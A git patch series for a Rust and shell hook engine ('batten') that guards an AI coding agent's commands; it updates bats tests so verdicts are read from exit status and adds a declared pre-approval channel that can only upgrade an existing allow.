allowed } @test "a git commit written INSIDE a quoted span or a heredoc is not a call" { # Same scrubbing every other rule depends on — and this file's own commit # message is the most likely place to write the shape down. run guard 'echo "git commit -F - hangs the gate"' - [[ "$output" != *'"deny"'* ]] + allowed run guard "$(printf 'cat > t.bats <<%s\nrun git commit -F -\n%s\n' BATS BATS)" - [[ "$output" != *'"deny"'* ]] + allowed } # --- cargo-substitutes-for-a-task (CLOUD-822) -------------------------------- @@ -310,7 +325,7 @@ run = "cargo deny check"' @test "THE MEASURED SHAPE: a weaker clippy through the sanctioned escape is refused" { run guard 'mise exec -- cargo clippy -p batten --all-targets' - denied "$output" + denied [[ "$output" == *"lint:clippy"* ]] # Pointer-only: the subcommand and the task names, never the tree or a diff. [[ "$output" == *'`cargo clippy`'* ]] @@ -318,12 +333,12 @@ run = "cargo deny check"' @test "the task itself is allowed — this rule is about substitution, not about cargo" { run guard 'mise run lint:clippy' - [[ "$output" != *'"deny"'* ]] + allowed } @test "a subcommand no task wraps is a genuine one-off and is untouched" { run guard 'mise exec -- cargo tree' - [[ "$output" != *'"deny"'* ]] + allowed } @test "a BARE cargo is no-bare-cargo's, so the two never report one command" { @@ -331,19 +346,19 @@ run = "cargo deny check"' # reporting one command is the drift this file's header refuses, and # `RESOLVED_VIA` is what tells the mediated form from the bare one. run guard 'cargo clippy --all-targets' - [[ "$output" != *'"deny"'* ]] + allowed } @test "an EQUAL argv is not weaker, so spelling a task's own line out is allowed" { fixture_guard "$TASKS" run fguard 'mise exec -- cargo deny check' - [[ "$output" != *'"deny"'* ]] + allowed } @test "a narrower argv IS weaker, and the task it is weaker than is named" { fixture_guard "$TASKS" run fguard 'mise exec -- cargo clippy -p batten --all-targets' - denied "$output" + denied [[ "$output" == *"lint:clippy"* ]] } @@ -355,7 +370,7 @@ run = "cargo deny check"' # CLOUD-199 measured getting a guard switched off. fixture_guard "$TASKS" run fguard 'mise exec -- cargo run -p batten -- check' - [[ "$output" != *'"deny"'* ]] + allowed } @test "the SAME program argv, missing a flag, is a substitution" { @@ -363,7 +378,7 @@ run = "cargo deny check"' # `--quiet` this invocation omits. fixture_guard "$TASKS" run fguard 'mise exec -- cargo run -p batten -- provision apply' - denied "$output" + denied [[ "$output" == *"batten-check"* ]] } @@ -373,7 +388,7 @@ run = "cargo deny check"' # row exists for would be invisible. fixture_guard "$TASKS" run fguard 'mise exec -- cargo clippy --all-targets --all-features' - denied "$output" + denied [[ "$output" == *"lint:clippy"* ]] } @@ -386,9 +401,9 @@ run = "cargo deny check"' fixture_guard '[tasks."test:cargo"] run = "cargo nextest run --workspace"' run fguard 'mise exec -- cargo test -p batten' - [[ "$output" != *'"deny"'* ]] + allowed run fguard 'mise exec -- cargo nextest run -p batten' - denied "$output" + denied [[ "$output" == *"test:cargo"* ]] } @@ -400,17 +415,17 @@ run = "cargo nextest run --workspace"' description = "Run the shell suite — cargo test for the mise-tasks/ programs" run = "./tests/bats/bin/bats tests/*.bats"' run fguard 'mise exec -- cargo test -p batten' - [[ "$output" != *'"deny"'* ]] + allowed } @test "the refusal names its bypass, since one that cannot be reached is not a remedy" { run guard 'mise exec -- cargo clippy -p batten' - denied "$output" + denied [[ "$output" == *"BATTEN_RUN_SHAPE_BYPASS=1"* ]] [[ "$output" == *"mise run"* ]] } @test "the bypass actually clears it" { run bash -c "jq -nc --arg c 'mise exec -- cargo clippy -p batten' '{tool_input: {command: \$c}}' | BATTEN_RUN_SHAPE_BYPASS=1 '$GUARD'" - [[ "$output" != *'"deny"'* ]] + allowed } diff --git a/tests/stop-guard-door.bats b/tests/stop-guard-door.bats new file mode 100644 index 000000000..fbeae0e47 --- /dev/null +++ b/tests/stop-guard-door.bats @@ -0,0 +1,158 @@ +#!/usr/bin/env bats +# subject: mise-tasks/stop-guard.sh, through `batten hook` +# +# THE SECOND TIER FOR CLOUD-312 ROW 9, and CLOUD-312's differential obligation: +# the retiring registration's fixtures replay through the door before the +# registration is deleted. `tests/stop-guard.bats` runs the script directly, +# which cannot answer the question that broke the previous migration — whether +# the ENGINE can consume what this script produces. +# +# THIS ONE IS THE INTERESTING CASE OF THE THREE, because the answer travels a +# channel the other two do not use. The guard's reply is an ADVISORY, not a +# verdict: stdout on exit 0 is advice the engine merges, `AdvisoryReach` lists +# `Stop` for this host, and what the model receives is the same +# `additionalContext` document the script used to build by hand. So the whole +# migration is that one substitution — and getting it wrong is silent, which is +# exactly how `connector-allow-guard` spent its life behind the door deciding +# nothing. +# +# EVERY CASE DRIVES THE TELL, and that is a cost decision rather than a coverage +# one. This guard runs five rules, and rules 3-5 run only when the ones above +# them found nothing — so a message carrying the tell answers in milliseconds +# while a clean one pays the whole ladder. That asymmetry is measured and +# recorded on the handler's row in `batten.toml`; what this file needs from the +# guard is its ANSWER, which the first rule produces. + +setup() { + BIN="" + for candidate in \ + "${BATTEN_BIN:-}" \ + "$BATS_TEST_DIRNAME/../target/release/batten" \ + "$BATS_TEST_DIRNAME/../target/debug/batten"; do + [ -n "$candidate" ] && [ -x "$candidate" ] || continue + BIN="$candidate" + break + done + [ -n "$BIN" ] || BIN="$(command -v batten || true)" + [ -n "$BIN" ] || skip "no batten binary to drive" + + REPO="$BATS_TEST_TMPDIR/repo" + mkdir -p "$REPO/mise-tasks" + # Copied from the suite's own tree, so `mise run mutant` reaches this tier. + cp "$BATS_TEST_DIRNAME/../mise-tasks/stop-guard.sh" "$REPO/mise-tasks/" + cp "$BATS_TEST_DIRNAME/../mise-tasks/stop-posture-check.sh" "$REPO/mise-tasks/" + cp "$BATS_TEST_DIRNAME/../mise-tasks/payload-field.sh" "$REPO/mise-tasks/" + + { + echo "version = 1" + echo + echo "[[hook.handler]]" + echo 'id = "stop-guard"' + echo 'on = "stop"' + echo 'run = ["mise-tasks/stop-guard.sh"]' + echo "timeout_ms = 90000" + echo 'owner = "CLOUD-892"' + echo 'expires = "2027-02-28"' + } >"$REPO/batten.toml" + GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$REPO" + + export BATTEN_BIN="$BIN" +} + +# Called directly, never through `run`: `run` executes in a subshell and would +# discard both assignments, leaving every negative assertion comparing an empty +# string. +door() { # door [stop_hook_active] + local envelope + envelope=$(jq -nc --arg m "$1" --argjson a "${2:-false}" \ + '{hook_event_name:"Stop",session_id:"s",cwd:".", + transcript_path:"/nonexistent.jsonl", + stop_hook_active:$a,last_assistant_message:$m}') + ( + cd "$REPO" || exit 1 + printf '%s' "$envelope" | "$BIN" hook --harness claude-code \ + >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" + ) + DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") + DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") +} + +@test "THE MEASURED DEFECT: no host document the handler wrote is forwarded" { + # ASSERTED OVER STDOUT, WHICH IS WHERE THE VIOLATION ACTUALLY LANDS HERE. + # `dispatch_handlers` appends contract violations to the same advice vector + # the advisory rides, and `AdvisoryReach` lists `Stop` — so at this event a + # violation is rendered INTO the `additionalContext` document rather than + # written to the engine's stderr. Measured, because the first version of this + # row asserted over stderr, which is empty at `Stop` whatever happens, and + # passed for that reason alone. + door 'The rebase is clean. Worth noting that the lock file still drifts.' + [[ "$DOOR_OUT" != *"wrote a host decision document"* ]] + [[ "$DOOR_OUT" != *"hook.handler stop-guard:"* ]] +} + +@test "the kick reaches the model as the engine's own advisory" { + # THE ROW THE MIGRATION IS FOR. `additionalContext` is what the host reads at + # `Stop`, and it is now the ENGINE's spelling of the handler's advice rather + # than a document the script wrote — the two are byte-similar and one of them + # is silently discarded. + door 'The rebase is clean. Worth noting that the lock file still drifts.' + [[ "$DOOR_OUT" == *'"additionalContext"'* ]] + [[ "$DOOR_OUT" == *'"Stop"'* ]] + [[ "$DOOR_OUT" == *"hedged-flag-framing"* ]] +} + +@test "a refusal is structurally unavailable here, so the turn always ends" { + # `Event::carries_a_verdict` is false at `Stop`, so even a handler exiting 2 + # has its refusal demoted to advice — the loophole `lib.rs` names, and the + # reason the CLOUD-889 runaway cannot come back through this row. Asserted + # over the emitted document because that is where a deny would have to appear. + door 'The rebase is clean. Worth noting that the lock file still drifts.' + [[ "$DOOR_OUT" != *'"permissionDecision"'* ]] + [[ "$DOOR_OUT" != *'"deny"'* ]] +} + +@test "the re-entry caused by a previous kick is silent through the door too" { + # The bound that makes this one nudge per turn rather than a runaway. It is + # the guard's own predicate over `stop_hook_active`, and it reads the host's + # payload — which the door hands through unchanged, and which is the one + # property a reader would reasonably fear the extra hop loses. + door 'Worth noting the drift.' true + [[ "$DOOR_OUT" != *"hedged-flag-framing"* ]] + [[ "$DOOR_ERR" != *"hook.handler stop-guard:"* ]] +} + +@test "the impersonation detector is live behind this row, not merely defined" { + # THE POSITIVE CONTROL. Every negative row above is also satisfied by a + # handler that never ran, so one row makes this one write the host document on + # purpose and requires the door to name it — and to drop it. + cat >"$REPO/mise-tasks/stop-guard.sh" <<-'SH' + #!/usr/bin/env bash + printf '{"hookSpecificOutput":{"hookEventName":"Stop","additionalContext":"SENTINELXYZZY"}}\n' + SH + chmod +x "$REPO/mise-tasks/stop-guard.sh" + door 'anything at all' + [[ "$DOOR_OUT" == *"hook.handler stop-guard: wrote a host decision document"* ]] + # The document it tried to write is DROPPED, not merged: its payload never + # reaches the model, which is the half that made this defect silent. + [[ "$DOOR_OUT" != *SENTINELXYZZY* ]] +} + +@test "the re-entry bound is the reason the violation above is not a runaway" { + # The engine relays a violation into the same channel the advisory uses, so a + # broken handler at `Stop` speaks once per turn rather than once per Stop — + # and it is the HANDLER's `stop_hook_active` read that bounds it, which a + # broken handler by definition may not be doing. Asserted here because it is + # the one place the two interact. + cat >"$REPO/mise-tasks/stop-guard.sh" <<-'SH' + #!/usr/bin/env bash + printf '{"hookSpecificOutput":{"hookEventName":"Stop","additionalContext":"SENTINELXYZZY"}}\n' + SH + chmod +x "$REPO/mise-tasks/stop-guard.sh" + door 'anything at all' true + # Still reported on the re-entry, because the engine cannot know the handler + # meant to stop — which is the cost of a broken handler, stated rather than + # assumed away, and exactly what the contract violation is telling the reader + # to go and fix. + [[ "$DOOR_OUT" == *"wrote a host decision document"* ]] + [[ "$DOOR_OUT" != *SENTINELXYZZY* ]] +} From 7248035af6976a88e667764111aadddb4f83410c Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 03:46:25 +0000 Subject: [PATCH 07/27] test(hook): the wiring assertions follow the authority that now holds them MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Refs: CLOUD-312. DO-NOT-CLOSE CLOUD-312 Four suites asserted over `.claude/settings.json` or over a host decision document, and the previous commit moved both out from under them. The QUESTIONS are unchanged; what moved is where the answer lives. `board-write-record.bats` and `stop-guard.bats` each asked "is this body reachable, and narrowed the way CLOUD-178 requires". They read the matcher and the program out of `batten.toml` now, and each gained the other half a migration owes: that `.claude/settings.json` carries NO surviving entry for the same body. A handler row beside a native one would run the body twice — record every board write twice, nudge twice on one turn — which is precisely what the guard's own recursion bound exists to prevent and cannot see. Both read the config through `taplo get` from the repository root, because `mise exec` resolves its tool set from the cwd's config and these cases run in a temp directory. Measured, as `taplo couldn't exec process`, which is what an unactivated tool looks like rather than a missing one. `run-shape-guard-quoting.bats` carried its own copy of the `"deny"` substring assertion, so it went red the moment the guard started refusing with an exit status. Same translation as its sibling suite, same reason. Full suite: 2970 passing, 0 failing. `bench/suites/RESULTS.md` gains the three new door suites, which is what the previous commit's skipped `suite-bench-check` was waiting on: that task measures nothing itself — it reads the report only a full `test:bats` writes. `hooks-wiring-check` stays skipped and stays red by design: four registrations remain and three of them are not this branch's to remove. Refs: CLOUD-893, CLOUD-312 --- tests/run-shape-guard-quoting.bats | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/tests/run-shape-guard-quoting.bats b/tests/run-shape-guard-quoting.bats index c1f750b20..4b5c315c0 100644 --- a/tests/run-shape-guard-quoting.bats +++ b/tests/run-shape-guard-quoting.bats @@ -16,8 +16,17 @@ guard() { jq -nc --arg c "$1" '{tool_input: {command: $c}}' | "$GUARD" } +# THE VERDICT IS THE EXIT STATUS NOW, not a document this guard wrote. It is +# dispatched by `batten hook` as a `[[hook.handler]]` row (CLOUD-312 row 4), +# where §7's table is the contract: `2` refuses with its reason on stderr, `0` +# allows, and a host decision document on stdout is `Violation::ImpersonatedHost` +# — reported and never forwarded. `tests/run-shape-guard.bats` carries the same +# pair and the same reason. +# +# `$status` is the global bats `run` sets, so this reads the status of the call +# the case just made; the argument is kept so every call site stays as it was. denied() { - [[ "$1" == *'"deny"'* ]] + [ "$status" -eq 2 ] } @test "a multi-line commit message quoting the shapes is not the shapes" { From a0f357ff8064e86a7b6c207eb06d79ee9d22d52c Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 16:23:37 +0000 Subject: [PATCH 08/27] feat(hook)!: a handler may spend a grant the operator already wrote MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The door (CLOUD-898) carried refuse, report and be-silent, and the migration behind it cost `connector-allow-guard` the one thing it existed for. On `PreToolUse` Claude Code reads `hookSpecificOutput.permissionDecision`, and `"allow"` skips the prompt; that is why CLOUD-191 wrote the document itself. As a `[[hook.handler]]` row that document is `Violation::ImpersonatedHost` — reported on stderr, never forwarded — so an already-approved MCP call prompted again for the rest of every episode, because the host rotates its server names mid-session and `.claude/settings.json`'s literal rules match nothing. No fourth exit code. House style §7's table is `0/1/2/3` with no per-verb exception, exit 0 already carries two meanings (`Pass` empty, `Advise` with stdout), and a third distinguished by the SHAPE of stdout is exactly what `impersonates_host` refuses. So the capability is DECLARED on the row — `preapproves = true` — and the channel is the exit code the handler already has: at a moment that decides permission, a declaring row's `Advise` becomes `Outcome::Preapprove` with the same bytes as its reason. A row that does not declare it behaves exactly as before, and the capability lives in the one committed authority rather than being inferred from bytes (rule 6). The safety property is split across the two functions that can each enforce half, because either alone is insufficient: * `compose` computes the engine's decision FIRST and lets a grant stand only over `Decision::Allow`. A handler's deny replaces the engine's answer; a handler's grant must never, or a dispatched program could spend a verdict a rule reached. `AN ENGINE DENY BEATS A HANDLER GRANT` is the case that fails if this inverts, and the fixture mints the collision with a `[[rule]]` of its own rather than hoping for one. * `encode_preapproval` degrades to SILENCE where the host honours no such channel, mirroring `AdvisoryReach`'s asymmetry: an unreachable grant leaves the ordinary flow to prompt, which is today's behaviour, where refusing would invent one. `PreapproveReach` is event-scoped per CLOUD-601, `Yes` on `PreToolUse` for claude-code and `Unknown` on the four unsurveyed hosts, with `PREAPPROVE_GAPS` empty and saying why. `Event::decides_permission` is its own authority rather than a borrow of `carries_a_verdict`, and that distinction was found by a test rather than by reading: the first predicate admitted `post-tool`, where a refusal can still stand but a grant is spent on a call that already ran. Load-time refusal on every other moment, so a grant that would be inert on every host is a config error instead of a silence. The three door suites' `# subject:` headers named prose. Everything after that token is read as whitespace-separated PATHS and every matched file owes a resolvable header (`retires_with`, obligation 2), so `mise-tasks/x.sh, through `batten hook`` declared four files that never existed — a header rotted on the day it was written. Paths only; the door goes in a sentence underneath. Refs: CLOUD-191, CLOUD-898, CLOUD-312 --- batten.toml | 23 ++ crates/batten/src/handler.rs | 289 ++++++++++++++++++++ crates/batten/src/hook.rs | 396 ++++++++++++++++++++++++++-- crates/batten/src/lib.rs | 86 +++++- mise-tasks/connector-allow-guard.sh | 30 ++- schema/batten.schema.json | 4 + tests/connector-allow-door.bats | 79 ++++-- tests/run-shape-guard-door.bats | 6 +- tests/stop-guard-door.bats | 6 +- 9 files changed, 861 insertions(+), 58 deletions(-) diff --git a/batten.toml b/batten.toml index 2f80d8511..3c0f0e20d 100644 --- a/batten.toml +++ b/batten.toml @@ -3830,12 +3830,35 @@ expires = "2027-02-28" # # Halved, and the half that goes is the spawn. `mcp__*` calls still pay it, which is # the point — they are the calls this decides. +# +# `preapproves` IS WHAT MAKES THE ALLOW ARM REACH ANYTHING, and it is the reason +# this row exists at all. The guard's deny arm always worked through the door — +# exit 2, reason on stderr, rendered by the engine. Its ALLOW arm did not: `hook.rs` +# encoded `deny` and `ask` and nothing else, and `AdvisoryReach` for this host lists +# `PostToolBatch`, `SessionStart` and `Stop` — not the pre-tool event — so the text +# landed on the engine's own stderr, transcript-only, and the approval prompt +# CLOUD-191 exists to remove came back. +# +# Measured: dispatched behind the door, this guard's deny document was reported as +# `hook.handler connector-allow-guard: wrote a host decision document` and dropped, +# and the refusal that reached the host came from an unrelated engine row that +# happens to cover the same tool. Every deny in the committed table is covered that +# way, which is why the loss was invisible until the allow half was looked at. +# +# The column is DECLARED here rather than encoded in the stream because §7's exit +# table has no fourth code to spend and stdout's shape is already spoken for by the +# impersonation check. And it grants nothing new: the reason is a projection of a +# rule already committed to `.claude/settings.json` onto whichever of a server's two +# names the host is exposing this session, and the boundary lets a grant upgrade +# only a decision that was already an allow — so no verdict any rule reached can be +# spent through here. [[hook.handler]] id = "connector-allow-guard" on = "pre-tool" run = ["mise-tasks/connector-allow-guard.sh"] matcher = "^mcp__" timeout_ms = 2000 +preapproves = true owner = "CLOUD-312" expires = "2027-02-28" diff --git a/crates/batten/src/handler.rs b/crates/batten/src/handler.rs index ce28ec6e1..705e00f28 100644 --- a/crates/batten/src/handler.rs +++ b/crates/batten/src/handler.rs @@ -250,6 +250,30 @@ pub struct Handler { /// form of pressure that cannot itself become an outage. #[serde(default, skip_serializing_if = "Option::is_none")] pub expires: Option, + /// Whether this handler's advisory is a **pre-approval** rather than a note. + /// + /// CLOUD-191's channel, and the reason it is a column rather than a new exit + /// code: §7's table is `0/1/2/3` with no per-kind exception, and + /// [`Outcome::Advise`] already occupies exit `0` with output. A third meaning + /// distinguished by the *shape* of stdout is exactly what [`impersonates_host`] + /// refuses, so the capability is DECLARED here and the channel stays the exit + /// code the handler already has. A row without this behaves exactly as it does + /// today, and no new vocabulary enters the stream. + /// + /// **What it buys.** `connector-allow-guard` reads the session's injected MCP + /// config to learn which of a server's two names — readable or UUID — is live + /// this session, and applies the committed verdict to the live spelling. Its + /// allow arm has to reach the host as `permissionDecision: "allow"` or the + /// operator is prompted for a grant they already wrote down. + /// + /// **What it cannot buy.** A pre-approval only ever upgrades a decision that + /// was already an allow; the boundary enforces that rather than trusting it, so + /// no handler can spend a refusal the engine's own rows reached. And it is + /// refused at load on any event whose host does not honour one, because a + /// declared grant that lands nowhere is indistinguishable from this handler + /// never having run. + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub preapproves: bool, } impl Handler { @@ -439,6 +463,32 @@ impl Handler { } } } + // A GRANT NEEDS A MOMENT THAT DECIDES PERMISSION, and this is the one half + // of that question a config load can answer. + // + // It cannot ask whether THIS host honours a pre-approval: `validate` runs + // at config load, which knows nothing about the harness — that answer is + // `Capabilities::preapprove_reachable`'s, consulted at the boundary, where + // an unreachable channel degrades to silence. What is decidable here is + // harness-INDEPENDENT: whether the MOMENT decides permission at all. An + // inert grant is indistinguishable from the handler not running, which is + // the failure this whole column exists to remove. + // + // `Event::decides_permission` and NOT `carries_a_verdict`, which is the + // narrower answer and was found by a test rather than by reading: the + // first version of this borrowed `carries_a_verdict` and admitted + // `post-tool`, where a deny is a finding about a call that already ran and + // a grant is permission for something already done. That authority lives + // on `Event` so this validator and any future reader ask one question. + if self.preapproves && !event.decides_permission() { + return Err(UsageError::raise(format!( + "hook.handler {}: `preapproves` needs a moment that decides permission for a call \ + that has not run, and {:?} is not one — so the grant would be inert on every \ + host rather than unreachable on some. Drop the column, or move the row to the \ + pre-tool event.", + self.id, self.on + ))); + } // A zero bound is not "no bound", it is a handler that can never // succeed. Refusing it at load is the difference between an author // learning this now and a turn losing every handler to a timeout later. @@ -575,6 +625,21 @@ pub enum Outcome { /// Exit `0` with stdout: advisory text, to be merged into Batten's own /// advisory document rather than emitted. Advise(String), + /// Exit `0` with stdout, from a row declaring [`Handler::preapproves`]: a + /// **pre-approval** and its reason. + /// + /// The same bytes an [`Outcome::Advise`] carries, read differently because the + /// ROW said so. That is the whole mechanism: §7's exit table has no fourth + /// code to spend and stdout's shape is already spoken for by + /// [`impersonates_host`], so the third meaning of exit `0` is declared in + /// config rather than encoded in the stream. + /// + /// **It is a distinct variant rather than a flag on `Advise` so the two cannot + /// be said twice.** A pre-approval's text is its reason and must not ALSO join + /// the advisory buffer — at the pre-tool event that buffer reaches nobody + /// anyway, so a handler whose grant leaked into it would emit a line that + /// vanishes and a grant that never arrives. + Preapprove(String), /// Exit [`VIOLATION_EXIT`]: the handler found something and said so. Reported(String), /// Exit [`DENY_EXIT`]: a refusal, with its reason. @@ -622,7 +687,30 @@ impl Dispatched { }) } + /// The first pre-approval, if any handler granted one. + /// + /// **First, not merged**, on [`Dispatched::refusal`]'s reasoning: a grant is a + /// single answer, and concatenating two reasons would produce provenance no + /// handler wrote. Declaration order is the tie-break, which the config surface + /// already states is the running order. + /// + /// A refusal outranks this wherever both exist — checked at the boundary, not + /// here, because this projection reports what the handlers said and the + /// precedence between channels is the caller's to enforce. + #[must_use] + pub fn preapproval(&self) -> Option<(&str, &str)> { + self.ran.iter().find_map(|ran| match &ran.outcome { + Outcome::Preapprove(reason) => Some((ran.id.as_str(), reason.as_str())), + _ => None, + }) + } + /// Every advisory line, in declaration order. + /// + /// A pre-approval is deliberately **not** one: its text is a reason travelling + /// on the permission channel, and emitting it here as well would say the same + /// thing twice — once where it decides something and once where, at the + /// pre-tool event, nothing is delivered at all. #[must_use] pub fn advice(&self) -> Vec { self.ran @@ -684,6 +772,19 @@ pub fn dispatch(handlers: &[Handler], event: Event, raw_tool: &str, payload: &st } let started = Instant::now(); let outcome = run_one(handler, payload); + // THE ROW'S DECLARATION APPLIED EXACTLY ONCE, here, where the row and the + // outcome are both in hand. Reading `preapproves` anywhere downstream + // would mean carrying the handler table alongside the results and joining + // them by id — two authorities for one fact, which is the drift the + // capability table's own `*_reachable` helpers were extracted to stop. + // + // Only an `Advise` converts. An exit `1` or `2` from a pre-approving row + // still means what §7 says it means: a row may grant when it has nothing + // to report, and may not turn a finding into a grant. + let outcome = match outcome { + Outcome::Advise(text) if handler.preapproves => Outcome::Preapprove(text), + other => other, + }; ran.push(Ran { id: handler.id.clone(), outcome, @@ -945,6 +1046,11 @@ mod tests { // pin it. `transitional_defect`'s own cases construct their rows. owner: None, expires: None, + // `false`, so every existing case still exercises the ordinary + // advisory path. The pre-approval cases set it explicitly, which is + // what keeps the conversion in `dispatch` visible as a decision the + // ROW makes rather than a default this helper hides. + preapproves: false, } } @@ -1280,6 +1386,189 @@ mod tests { } } + // --------------------------------------------------------------------- + // The pre-approval channel (CLOUD-191's half that the door lost). + // --------------------------------------------------------------------- + + #[test] + fn an_advisory_becomes_a_grant_only_where_the_row_declares_it() { + // THE DISCRIMINATING PAIR, and the whole mechanism is the difference + // between them: identical bytes, identical exit, and the row decides which + // channel they travel. Asserting one without the other would pass on a + // build that converted every advisory into a grant. + let payload = "{}"; + let mut row = handler("g", Event::PreTool.as_str(), &["sh", "-c", "echo granted"]); + + let dispatched = dispatch( + std::slice::from_ref(&row), + Event::PreTool, + "mcp__x__y", + payload, + ); + assert_eq!( + dispatched.advice(), + vec!["granted".to_owned()], + "without the column the text is advice, exactly as before" + ); + assert_eq!( + dispatched.preapproval(), + None, + "and it is not a grant, or the column would express nothing" + ); + + row.preapproves = true; + let dispatched = dispatch( + std::slice::from_ref(&row), + Event::PreTool, + "mcp__x__y", + payload, + ); + assert_eq!( + dispatched.preapproval(), + Some(("g", "granted")), + "with the column the same bytes are the grant's reason" + ); + assert!( + dispatched.advice().is_empty(), + "and they are NOT also advice: said twice, the grant would emit a line \ + that vanishes at pre-tool and a reason that arrives" + ); + } + + #[test] + fn a_declaring_row_may_still_report_and_refuse() { + // The column converts an `Advise` and nothing else. A row that can grant + // must not have lost the ability to say "I found something" or "no" — + // otherwise declaring it would silently disarm the guard's other arms, + // which is the shape this whole surface exists to refuse. + let mut row = handler( + "g", + Event::PreTool.as_str(), + &["sh", "-c", "echo no >&2; exit 2"], + ); + row.preapproves = true; + let dispatched = dispatch( + std::slice::from_ref(&row), + Event::PreTool, + "mcp__x__y", + "{}", + ); + assert_eq!(dispatched.refusal(), Some(("g", "no"))); + assert_eq!( + dispatched.preapproval(), + None, + "a refusal is not a grant, whatever the row declares" + ); + } + + #[test] + fn a_grant_on_a_moment_that_decides_no_permission_is_refused_at_load() { + // The one half of "does this land anywhere" a config load can answer. + // `validate` cannot know the harness, so it cannot ask whether THIS host + // honours a grant — that is the boundary's question, and an unreachable + // channel there degrades to silence. What is decidable here is + // harness-independent: there is no permission to grant at `stop`, on any + // host, so such a row is inert everywhere rather than unreachable + // somewhere. + // + // `post-tool` AND `user-prompt-submit` are the load-bearing entries, and + // they are why this asks `decides_permission` rather than + // `carries_a_verdict`. Both DO carry a verdict, so the first version of + // this refusal admitted them — and on both a grant is meaningless: the + // call is over, or there is no call. This case is what found that. + // + // Fails by: widening the predicate back to `carries_a_verdict`. + for inert in [ + "stop", + "session-start", + "post-tool", + "post-tool-batch", + "user-prompt-submit", + ] { + let mut row = handler("g", inert, &["true"]); + row.preapproves = true; + let err = row + .validate() + .expect_err("a grant needs a moment that decides permission"); + assert!( + format!("{err}").contains("decides permission"), + "the refusal says WHY rather than merely refusing: {err}" + ); + } + } + + #[test] + fn a_grant_on_the_adjudicated_moment_loads() { + // The positive arm, without which the case above passes on a build that + // refuses every `preapproves` row. + let mut row = handler("g", Event::PreTool.as_str(), &["true"]); + row.preapproves = true; + assert!(row.validate().is_ok()); + } + + #[test] + fn the_first_grant_wins_and_a_refusal_outranks_every_grant() { + // Declaration order is the tie-break among grants, on `refusal`'s own + // reasoning: concatenating two would produce provenance no handler wrote. + // + // The second half is the safety one. Two handlers disagreeing about one + // call must resolve toward the refusal, because a grant that could + // overrule one would let a dispatched program spend a verdict another + // dispatched program reached. Asserted here rather than trusted, because + // this projection is what the boundary reads. + let mut first = handler("a", Event::PreTool.as_str(), &["sh", "-c", "echo one"]); + first.preapproves = true; + let mut second = handler("b", Event::PreTool.as_str(), &["sh", "-c", "echo two"]); + second.preapproves = true; + let rows = vec![first, second.clone()]; + let dispatched = dispatch(&rows, Event::PreTool, "mcp__x__y", "{}"); + assert_eq!(dispatched.preapproval(), Some(("a", "one"))); + + let denier = handler( + "d", + Event::PreTool.as_str(), + &["sh", "-c", "echo nope >&2; exit 2"], + ); + let rows = vec![second, denier]; + let dispatched = dispatch(&rows, Event::PreTool, "mcp__x__y", "{}"); + assert_eq!(dispatched.refusal(), Some(("d", "nope"))); + assert_eq!( + dispatched.preapproval(), + Some(("b", "two")), + "the projection still reports what each handler said; the PRECEDENCE \ + between the two channels is the boundary's to enforce, and asserting \ + it here would move it" + ); + } + + #[test] + fn a_declaring_row_that_writes_a_host_document_is_still_a_violation() { + // The column does not buy a way past the impersonation check. A row + // allowed to grant is exactly the row whose author is most tempted to + // write `permissionDecision` by hand, so the two must not interact. + let mut row = handler( + "g", + Event::PreTool.as_str(), + &[ + "sh", + "-c", + r#"printf '{"hookSpecificOutput":{"permissionDecision":"allow"}}'"#, + ], + ); + row.preapproves = true; + let dispatched = dispatch( + std::slice::from_ref(&row), + Event::PreTool, + "mcp__x__y", + "{}", + ); + assert_eq!(dispatched.preapproval(), None); + assert_eq!( + dispatched.violations(), + vec![Violation::ImpersonatedHost.line("g")] + ); + } + #[test] fn the_default_bound_is_generous_against_what_it_replaces() { // Stated as a relation rather than a literal, so re-tuning the constant diff --git a/crates/batten/src/hook.rs b/crates/batten/src/hook.rs index 298881818..ed22abb5f 100644 --- a/crates/batten/src/hook.rs +++ b/crates/batten/src/hook.rs @@ -371,6 +371,38 @@ pub struct Capabilities { /// proceeding would invert the policy, and an unreachable advisory degrades /// to silence because refusing would invent one. pub advisory: AdvisoryReach, + /// Where a **pre-approval** — allow this call and do not prompt — is actually + /// honoured on this host. + /// + /// The fourth channel, and the only one that GRANTS. `ask` escalates, a deny + /// refuses, an advisory says something and decides nothing; this one spends + /// permission the operator already gave, by telling the host not to ask again. + /// That direction is why it exists at all and why it is the narrowest column + /// in this table: CLOUD-191's `connector-allow-guard` reads the session's + /// injected MCP config to learn which of a server's two names — readable or + /// UUID — is live *this* session, and applies the committed verdict to the + /// live spelling. Without the channel, a grant the operator already wrote in + /// `.claude/settings.json` stops matching the moment the host rotates the + /// name, and every call prompts for the rest of the episode. + /// + /// **It grants nothing new, and that is the whole licence for it.** The reason + /// a pre-approval carries is a projection of a committed rule onto a name the + /// host chose; a handler that invented one would be Batten deciding a human's + /// permission, which the scope reminder's "not a reference monitor" forbids. + /// The engine enforces the direction rather than trusting it: a pre-approval + /// can only ever upgrade a decision that was already [`Decision::Allow`], so + /// no rule's refusal can be spent by one. + /// + /// Event-scoped for [`AdvisoryReach`]'s reason, and here the reading is the + /// inverse of that column's: Claude Code honours `permissionDecision` on the + /// pre-tool event and nowhere else, which is exactly the surface an advisory + /// cannot reach. The two channels are complements rather than alternatives. + /// + /// An unreachable pre-approval degrades to **silence**, never to a deny and + /// never to a bare allow document: silence hands the call back to the host's + /// ordinary permission flow, which is what happens today and is the one + /// degradation that cannot surprise anyone. + pub preapprove: PreapproveReach, /// Whether a stop-family event can veto completion. /// /// **`false` on every surveyed host, Claude included** — all of them can only @@ -651,6 +683,15 @@ pub enum Capability { /// [`Capability::DISPATCH`] carry the grouping — they are the order output /// is rendered in, and they are free to say what this list cannot. Advisory, + /// [`Capabilities::preapprove`]. + /// + /// Appended for the reason the row above it was, and the note is repeated + /// rather than referenced because the next author reads the line they are + /// 